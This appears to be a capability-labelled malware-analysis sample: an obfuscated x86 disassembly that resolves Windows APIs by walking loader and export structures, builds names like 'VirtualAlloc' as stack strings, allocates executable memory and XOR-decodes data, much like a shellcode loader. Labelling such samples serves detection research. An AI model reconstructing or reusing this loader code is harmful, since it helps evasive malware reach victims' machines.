Function at 0x5c24a8
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0
xor eax, esi
mov edx, 0
xor edx, eax
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], edx
sub ecx, ecx
add ecx, edi
push 0x98d50c8
mov eax, 0x4c6a8661
shr eax, 3
pop edx
xor eax, edx
sub esp, eax
mov dword [esp], ecx
mov eax, ebx
push eax
pop ecx
mov edx, ecx
xchg eax, edx
mov esi, 4
sub esp, esi
mov dword [esp], eax
sub edx, edx
mov ebx, 0x7f26a3c4
add edx, ebx
shr edx, 3
xor eax, eax
lea eax, [eax + 0xfe4d460]
xor eax, edx
mov ebx, dword fs:[eax]
xor ecx, ecx
or ecx, 0x1258c093
shr ecx, 4
mov esi, 0x1258bd9
sub ecx, esi
add ebx, ecx
sub esi, esi
add esi, dword [ebx]
xor eax, eax
sub eax, 0xefbb083e
shr eax, 3
mov ecx, 0x1e7db3da
xor eax, ecx
xor eax, 0x1c752d2e
add esi, eax
mov edi, 0
mov ebx, edi
xor ecx, ecx
add ecx, 0
xor ebx, ecx
xor ebx, dword [esi]
mov eax, 0x7595e83c
shr eax, 4
add eax, 0xf8a6a189
add ebx, eax
jmp 0x5d145a
mov ecx, 0x1ffa45f6
shr ecx, 1
add ecx, 0xf002dd05
xor ecx, edi
push 0xdbdf14
mov edx, 0x6def8820
shr edx, 7
pop eax
xor edx, eax
sub esp, edx
mov dword [esp], ecx
xor ebx, ebx
mov bl, byte [edi]
lea esi, [esi + ebx]
mov bl, byte [esi]
pop edi
pop esi
mov byte [edi], bl
mov ecx, 0x4058bd24
mov edx, 0xbfa742db
xor ecx, edx
add edi, ecx
xor ebx, ebx
add ebx, dword [esp]
mov ecx, 0x78bca1e9
shr ecx, 7
mov eax, 0xf17947
xor eax, ecx
add esp, eax
xor eax, eax
or eax, 0x374a9af8
shr eax, 3
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xf916aca0
and eax, 0x6e9535f
or eax, ecx
add ebx, eax
test ebx, ebx
jne 0x5d0f74
mov eax, 0x4a76b54b
shr eax, 3
add eax, 0xf6b12958
lea edi, [edi + eax]
mov edx, 4
jmp 0x5d0f8a
shr ebx, 1
lea ebx, [ebx - 0x2451e36e]
lea esp, [esp + ebx]
mov edi, eax
push edi
pop esi
mov ebx, 4
mov edi, 0
xor ebx, edi
sub esp, ebx
mov dword [esp], esi
call fcn.005c2609
mov ebx, 0x50537b2e
mov esi, ebx
shr esi, 7
lea esi, [esi - 0xa0a6be]
add edi, esi
sub esp, 4
mov edx, esp
mov dword [edx], edi
mov esi, dword [esp]
sub esp, 0xfffffffc
push esi
pop ecx
add esp, 0xfffffffc
mov dword [esp], ecx
mov ebx, 0x399f087b
add ebx, 0xffffff85
push ebx
mov ebx, 0x636f6bb4
add ebx, 0xb8
push ebx
mov esi, 0x416c6239
add esi, 0xffffff3c
push esi
mov edi, 0x7472697d
sub edi, 0x27
push edi
mov ebx, 0x17e20f41
add ebx, 0xbf
push ebx
mov edi, 0x32336b6e
add edi, 0xf7
push edi
mov esi, 0x6e72663a
jmp 0x5d1295
lea esi, [esi + ebx]
mov edi, dword [esi + 0x67]
lea eax, [eax + edi]
mov esi, 0x12b618d2
mov edx, esi
shr edx, 2
xor ecx, ecx
or ecx, 0xfb5279bc
xor ecx, edx
sub eax, ecx
mov edx, eax
push 0x155cb5cb
mov edi, 0x5572d60f
shr edi, 2
pop ebx
xor edi, ebx
sub edx, edi
mov eax, dword [edx + 0x48]
xor edi, edi
add edi, dword [esp]
add eax, edi
xor ecx, ecx
or ecx, 0x72eef4c7
shr ecx, 5
mov edi, 0x39777c6
sub ecx, edi
sub eax, ecx
mov edx, 0x2f5ad091
shr edx, 5
xor ebx, ebx
add ebx, 0xfe852978
xor ebx, edx
lea ebx, [ebx + eax]
mov ecx, ebx
sub esp, 4
mov dword [esp], ecx
mov edi, dword [esp]
sub esp, 0xfffffffc
mov edx, 0xf822
add edx, 0x29
push edx
xor ebx, ebx
add ebx, 0x7c25e7
shr ebx, 7
pop ecx
xor ebx, ecx
xor ebx, dword [edi]
jmp 0x5d10b6
xor edx, edx
or edx, 0x258e9a6
xor edx, ecx
xor edx, dword [esi]
mov ecx, edx
mov edi, ecx
mov eax, edi
mov esi, eax
add esp, 0xfffffffc
mov dword [esp], esi
jmp 0x5d1468
mov esi, esp
mov edx, esi
mov esi, 0x3f
sub edx, esi
mov ebx, dword [edx + 0x3f]
mov edi, 0xfffffffc
sub esp, edi
mov edx, ebx
push edx
mov eax, dword [esp]
sub esp, 0xfffffffc
push 0xb24dcb
mov edi, 0x5926f63
shr edi, 3
pop edx
xor edi, edx
sub eax, edi
push 0xfddf4c12
mov edi, 0x11059f6d
shr edi, 3
pop edx
xor edi, edx
add eax, edi
mov ecx, dword [eax + 0x28]
xor edx, edx
sub edx, 0xfab609ee
shr edx, 1
add edx, 0xfe29687d
add edx, 0xff319c7a
xor edx, dword [ecx]
xor ecx, ecx
sub ecx, 0xa1f4312d
shr ecx, 1
mov esi, 0x9efd67e9
jmp 0x5d1151
mov ecx, esp
mov esi, 0x62
add ecx, esi
mov edx, dword [ecx - 0x62]
mov edi, 0x5be85e3e
shr edi, 1
xor edi, 0x2df42f1b
lea esp, [esp + edi]
mov edx, 0x2bb1574
add edx, 0x2f
push edx
xor edx, edx
sub edx, 0xd440fbc8
push edx
pop ebx
shr ebx, 4
xor ecx, ecx
add ecx, dword [esp]
add esp, 4
xor ebx, ecx
xor edx, edx
add edx, esp
mov ecx, 0x5d
add edx, ecx
dec edx
mov esi, dword [edx - 0x5c]
mov edx, 0x42ea4083
shr edx, 4
xor edx, 0xfbd15bf4
sub esp, edx
pop edi
xor eax, eax
or eax, 0x5d162c2
shr eax, 4
mov ecx, 0x5c304d
sub eax, ecx
add edi, eax
add esp, 0xfffffffc
xor eax, eax
add eax, esp
mov dword [eax], ebx
lea ecx, [esi]
add esp, 0xfffffffc
mov dword [esp], ecx
jmp 0x5c2562
sub esp, edx
mov eax, esp
push eax
pop ecx
mov dword [ecx], edi
pop edx
call edx
xor ecx, ecx
add ecx, 0x5443807f
lea eax, [ecx]
shr eax, 7
lea eax, [eax + 0x71593918]
mov eax, 0
xor eax, dword [esp]
lea ebx, [eax]
lea esp, [esp + 4]
xor eax, eax
or eax, 0x7808c5d8
mov ecx, eax
mov edx, ecx
shr edx, 5
lea edx, [edx + 0x10d4f17]
mov ecx, esp
add ecx, 0xffffffaa
dec ecx
mov eax, dword [ecx + 0x57]
xor edi, edi
add edi, eax
mov edx, 0x34b4e22a
shr edx, 3
mov eax, 0xf96963b9
xor eax, edx
sub esp, eax
mov ecx, 0x57b96431
mov eax, ecx
shr eax, 7
xor edx, edx
add edx, 0x749bc27b
xor edx, eax
pop esi
lea esp, [esp + 4]
jmp dword [esp - 4]
shr edx, 7
mov ecx, 0x18cdca
xor ecx, edx
xor ecx, esp
mov dword [ecx], ebx
xor eax, eax
add eax, 0x4edc9100
shr eax, 5
sub eax, 0x276e388
lea ebx, [ebx + eax]
mov edi, 0xe5a5
add edi, 0x3b
push edi
mov al, byte [ebx]
mov byte [esi], al
mov eax, 0x3b7bbfc8
add eax, 0xb8
push eax
xor edi, edi
sub edi, 0x89087efe
shr edi, 1
mov ecx, dword [esp]
add esp, 4
xor edi, ecx
add ebx, edi
mov ecx, 0x49a7cb3
shr ecx, 4
xor ecx, 0xffb65834
sub esi, ecx
sub ecx, ecx
add ecx, dword [esp]
push 0x20c9b5d
mov edx, 0x41936b35
shr edx, 5
pop edi
xor edx, edi
add esp, edx
lea ecx, [ecx - 1]
mov edi, 4
sub esp, edi
mov eax, esp
xchg edi, eax
xchg edi, edx
mov dword [edx], ecx
test ecx, ecx
jne 0x5d1049
jmp 0x5d0efc
mov edx, esp
push edx
pop ecx
mov edi, 0xffffffff
add ecx, edi
mov esi, dword [ecx + 1]
lea ebx, [ebx + esi]
mov edx, ebx
xchg ecx, edx
mov edx, ecx
mov edi, edx
mov esi, 0x64c3d71f
shr esi, 3
mov edx, 0xc987ae7
xor edx, esi
sub esp, edx
mov dword [esp], edi
xor edx, edx
sub edx, 0
sub edi, edi
mov ebx, 0xfffffffc
sub edi, ebx
xor edx, edi
lea edx, [edx + eax]
mov ebx, 0x4e21f212
shr ebx, 3
xor ebx, 0x9c43e42
xor ebx, edx
mov ecx, 0xb
sub ebx, ecx
mov ecx, 0xfffffff0
add ebx, ecx
mov ecx, 0xffffffff
add ebx, ecx
mov edx, dword [ebx + 0x1c]
push 0x23ea70
mov edi, 0x47d4e04
shr edi, 5
pop esi
xor edi, esi
xor edi, dword [esp + 4]
mov ecx, edi
add edx, ecx
sub edi, edi
lea edi, [edi + edx]
push 0x39a3463
mov ebx, 0x39a34677
shr ebx, 4
jmp 0x5d14e8
xor ecx, esi
xor ecx, 0x4e077f68
sub edx, ecx
xor eax, eax
add eax, edx
xchg esi, eax
mov edi, 0x46a0dd07
shr edi, 7
xor edi, 0xff72be08
sub esi, edi
mov ecx, dword [esi - 0x4e]
lea edi, [ecx]
xchg edi, edx
push edx
pop eax
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], eax
mov edi, ecx
mov edx, edi
xor esi, esi
or esi, 0x247ab740
xor eax, eax
add eax, 0xdb854884
xor esi, eax
sub edx, esi
push edx
pop ecx
xchg edi, ecx
add edi, 0x15
push 0xff6c5ac1
mov ebx, 0x24e94fab
shr ebx, 6
pop ecx
xor ebx, ecx
add edi, ebx
mov eax, dword [edi - 0x14]
mov ecx, esp
add esp, 0xfffffffc
mov dword [esp], ecx
pop esi
mov ebx, 0x66
sub esi, ebx
mov edx, 0x7db7d3e2
shr edx, 7
mov ebx, 0xff049058
xor ebx, edx
jmp 0x5d0dd1
sub ebx, edi
xor edi, edi
add edi, ebx
xchg esi, edi
mov edi, 0x4663f44a
shr edi, 6
add edi, 0xfee6702b
lea esp, [esp + edi]
mov dword [esp], esi
mov eax, 0x73be7e42
shr eax, 1
add eax, 0xc620c0df
xor eax, ebx
mov ecx, 1
sub eax, ecx
mov edi, dword [eax + 1]
and edi, 0xff
lea ecx, [edi]
mov esi, 0xf6a43bc
mov eax, 0xf095bc43
xor esi, eax
xor ecx, esi
and ecx, 0x4e
and edi, 0xffffffb1
or edi, ecx
or edi, 0
je 0x5d1256
xor edi, 0x20
cmp edi, 0
jne 0x5d15d4
mov edi, 0x38eefa41
shr edi, 4
xor edi, 0x38eefa4
xor edi, dword [esp]
mov eax, 0x2c773bf2
shr eax, 5
add eax, 0xfe9c4625
lea esp, [esp + eax]
xor esi, esi
add esi, 0x2f8287b9
shr esi, 5
xor ecx, ecx
or ecx, 0x17c143b
xor ecx, esi
add edi, ecx
jmp 0x5d156e
sub esi, 0xef
push esi
xor ecx, ecx
add ecx, dword [esp + 0x20]
xor ebx, ebx
add ebx, ecx
xchg edi, ebx
mov ecx, esp
mov esi, ecx
xchg ebx, esi
mov esi, ebx
xchg esi, ecx
add esp, 0xfffffffc
mov dword [esp], ecx
call edi
xor edi, edi
add edi, 0xde3244e
shr edi, 7
mov ebx, 0xffe439ac
add edi, ebx
sub esp, edi
sub esi, esi
add esi, esp
mov ecx, 0x3e8fa3ef
shr ecx, 6
mov ebx, 0xff05c173
xor ebx, ecx
add esp, ebx
mov dword [esp], esi
mov ecx, 0x7ddfd6b7
shr ecx, 5
mov edi, 0xfc110149
xor edi, ecx
add esp, edi
mov ecx, esp
push ecx
pop ebx
mov dword [ebx], eax
xor ecx, ecx
sub ecx, 0xa18346d2
shr ecx, 6
mov edx, 0x179f2e4
mov ebx, edx
xor ebx, ecx
xor ebx, dword [esp + 0x20]
call ebx
mov edx, 0x34776711
mov ecx, edx
jmp 0x5d1747
mov ecx, 0x2909326a
mov edi, 0xd6f6cd94
xor ecx, edi
sub esi, ecx
mov ebx, 4
mov edx, 0
xor ebx, edx
sub esp, ebx
mov edx, esp
push edx
pop ecx
mov dword [ecx], esi
jmp 0x5d151d
push esp
pop edx
mov ecx, 0x3e
sub edx, ecx
add edx, 0xffffffff
mov eax, dword [edx + 0x3f]
mov edi, 0
mov edx, 4
xor edi, edx
add esp, edi
lea edi, [eax]
sub edi, 0xfffffff1
mov ecx, 0xd487db3
shr ecx, 3
xor ecx, 0x1a90fb7
sub edi, ecx
mov eax, dword [edi - 0xe]
and eax, 0xffff
add eax, eax
sub edx, edx
add edx, eax
add eax, edx
push esp
pop edx
mov esi, 1
sub edx, esi
mov ecx, dword [edx + 1]
lea esp, [esp + 4]
add ecx, eax
mov esi, 0x3f6beb06
shr esi, 7
xor esi, 0x7ed7d6
xor esi, ecx
lea esi, [esi - 1]
jmp 0x5d1610
mov edx, 0x23f8f944
mov ebx, 0xdc0706b8
mov esi, ebx
xor edx, esi
sub ecx, edx
xor esi, esi
add esi, dword [ecx]
push esi
pop edx
xchg ecx, edx
mov edx, 0
xor edx, ecx
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], edx
mov edx, esi
xchg ecx, edx
xchg ecx, edi
dec edi
mov eax, dword [edi + 1]
and eax, 0xff
xor al, 0x6b
sub eax, 0
je 0x5d1440
mov ebx, 0x4098060
mov edx, 0x8c03808
mov ecx, edx
xor ebx, ecx
xor eax, ebx
mov ecx, eax
mov edx, ecx
mov esi, 0xffffffff
xor edx, esi
and edx, 0xcc9b848
and eax, 0xf33647b7
or eax, edx
add eax, 0
jne 0x5d15d4
pop ebx
mov ecx, 0x8fa4f53
mov edx, ecx
shr edx, 5
xor edi, edi
sub edi, 0x47d280
xor edi, edx
jmp 0x5d11e2
lea edx, [ebx]
lea ecx, [edx]
add esp, 0xfffffffc
push esp
pop edx
mov dword [edx], ecx
pop ecx
mov eax, ecx
xchg eax, edi
xchg esi, edi
mov edx, 0xfffffffc
add esp, edx
xor eax, eax
add eax, esp
mov dword [eax], esi
push ecx
pop eax
mov edi, 0xffffffc5
sub eax, edi
mov edi, 1
sub eax, edi
mov esi, dword [eax - 0x3a]
xor edx, edx
lea edx, [edx + esi]
mov esi, edx
add esp, 0xfffffffc
mov dword [esp], esi
pop ebx
mov esi, 0xffffffff
add ebx, esi
mov ecx, dword [ebx + 1]
mov ebx, 0x59bf2152
mov eax, ebx
shr eax, 7
lea eax, [eax - 0xb37e6e]
sub ecx, eax
mov ebx, dword [ecx]
mov edi, ebx
mov eax, edi
mov edx, eax
mov esi, 0x473228a
shr esi, 6
xor esi, 0x11cc8a
xor esi, edx
and esi, 0xffff
xor esi, 0x18
and esi, esi
jne 0x5d15ea
jmp 0x5d13c4
pop ecx
xor ebx, ecx
sub esp, ebx
mov dword [esp], edi
mov edx, eax
xchg ebx, edx
mov edx, ebx
mov ecx, edx
xor eax, eax
add eax, dword [ecx]
mov ecx, 0xc32ce1
sub ecx, 0x9a
push ecx
mov ecx, 0x30cb11d5
mov ebx, ecx
shr ebx, 6
pop edi
xor ebx, edi
xor ebx, dword [esp + 8]
add eax, ebx
mov ecx, eax
xchg edi, ecx
mov ecx, edi
mov ebx, ecx
push 0xfd507907
mov ecx, 0x2af86ebb
shr ecx, 4
pop edx
xor ecx, edx
sub ebx, ecx
mov ecx, 0x3856ab07
shr ecx, 6
xor ecx, 0xff1ea553
add ebx, ecx
mov esi, dword [ebx - 0x13]
mov edi, dword [esp + 8]
mov ecx, edi
xor edx, edx
add edx, ecx
push 0x1f64289c
mov ebx, 0x7d90a270
shr ebx, 2
pop ecx
xor ebx, ecx
xor ebx, edx
add esi, ebx
jmp 0x5d16a6
xor eax, eax
add eax, edi
mov ecx, 1
sub eax, ecx
mov edx, dword [eax + 1]
mov ecx, edx
push ecx
mov ebx, dword [esp]
sub esp, 0xfffffffc
mov esi, ebx
mov ecx, esi
xchg edx, ecx
mov edi, 0
xor edi, edx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xffffffff
and edi, 0
or edi, ecx
and edi, 0xffffffff
and edx, 0
or edx, edi
and edx, 0x320033
and ebx, 0xffcdffcc
or ebx, edx
cmp ebx, 0
je 0x5d0e88
jmp 0x5d15ea
sub edx, edx
add edx, dword [esp]
mov esi, 0x3ef7d83c
shr esi, 3
xor esi, 0xf82104fb
sub esp, esi
sub esi, esi
add esi, dword [esp]
mov edi, 0x595e1d28
shr edi, 7
xor edi, 0xff4d43c6
sub esp, edi
mov edi, 0x4b1d34c4
mov ecx, edi
shr ecx, 5
jmp 0x5d0e69
mov ecx, dword [esi + 1]
mov edx, 0
mov edi, 0
xor edx, edi
xor edx, dword [esp]
lea esp, [esp + 4]
add ecx, edx
mov eax, 4
sub esp, eax
push 0x193aa52
mov edi, 0x193aa52a
shr edi, 4
pop eax
xor edi, eax
xor edi, esp
mov dword [edi], ecx
mov ebx, 0x3e1fae8c
add ebx, 0x74
push ebx
mov esi, 0x4179729b
add esi, 0xffffffc6
push esi
mov edi, 0x72626944
add edi, 8
push edi
mov esi, 0x64616eac
add esi, 0xa0
push esi
mov eax, esp
push eax
pop esi
mov edi, 0xfffffffc
add esp, edi
push esp
pop ebx
mov dword [ebx], esi
xor edi, edi
add edi, edx
xchg esi, edi
push esi
pop eax
mov edi, eax
sub esp, 4
mov dword [esp], edi
call ecx
xor ebx, ebx
add ebx, 0x48a3c6fd
jmp 0x5d0d26
mov ecx, 0xff479881
add ecx, 0xa0
push ecx
xor edi, edi
add edi, 0x5c336d36
shr edi, 7
pop ebx
xor edi, ebx
sub esi, edi
xor edi, edi
add edi, esi
xchg ebx, edi
mov ecx, 0x6a
sub ebx, ecx
sub ebx, 0xd
mov edi, 0x3b51d305
shr edi, 2
add edi, 0xf12b8b40
sub ebx, edi
mov esi, dword [ebx + 0x78]
mov ecx, 0x7fc60632
shr ecx, 6
mov ebx, 0x9dbdb4a9
sub ecx, ebx
xor esi, ecx
xor ecx, ecx
or ecx, 0
mov ebx, 0
xor ebx, ecx
xor edi, edi
mov ecx, 0
sub edi, ecx
xor ebx, edi
cmp ebx, esi
je 0x5d1353
mov ebx, 0x1542f2e4
add ebx, 0xbb
push ebx
xor esi, esi
add esi, 0x550bce6d
shr esi, 2
mov edi, dword [esp]
sub esp, 0xfffffffc
xor esi, edi
add eax, esi
pop esi
jmp 0x5d132a
shr ecx, 6
mov ebx, 0xff2e226c
xor ebx, ecx
sub esp, ebx
mov ebx, 0xffffffde
add ebx, 0x62
push ebx
mov ebx, 0xfee
add ebx, 0x12
push ebx
mov esi, 0xe511
add esi, 0xd9
push esi
mov ebx, 0x5b
sub ebx, 0x5b
push ebx
call eax
mov ebx, 0x90e4d2f
shr ebx, 7
xor ebx, 0x121c9a
xor ebx, dword [esp]
mov ecx, 0x7367e194
mov edx, 0x8c981e68
xor ecx, edx
sub esp, ecx
mov edi, 0x190df0
add edi, 0xffffff8e
push edi
xor esi, esi
or esi, 0xc86bf27
shr esi, 7
pop ecx
xor esi, ecx
xor esi, eax
mov edi, 0x299fd6d
shr edi, 5
xor edi, 0x14cfeb
xor edi, esi
mov ecx, edi
mov eax, 4
sub esp, eax
mov dword [esp], ecx
mov edx, 0x25ba5024
shr edx, 7
xor edx, 0x4b74a4
sub esp, edx
mov edx, 0xc66e550
jmp 0x5d101c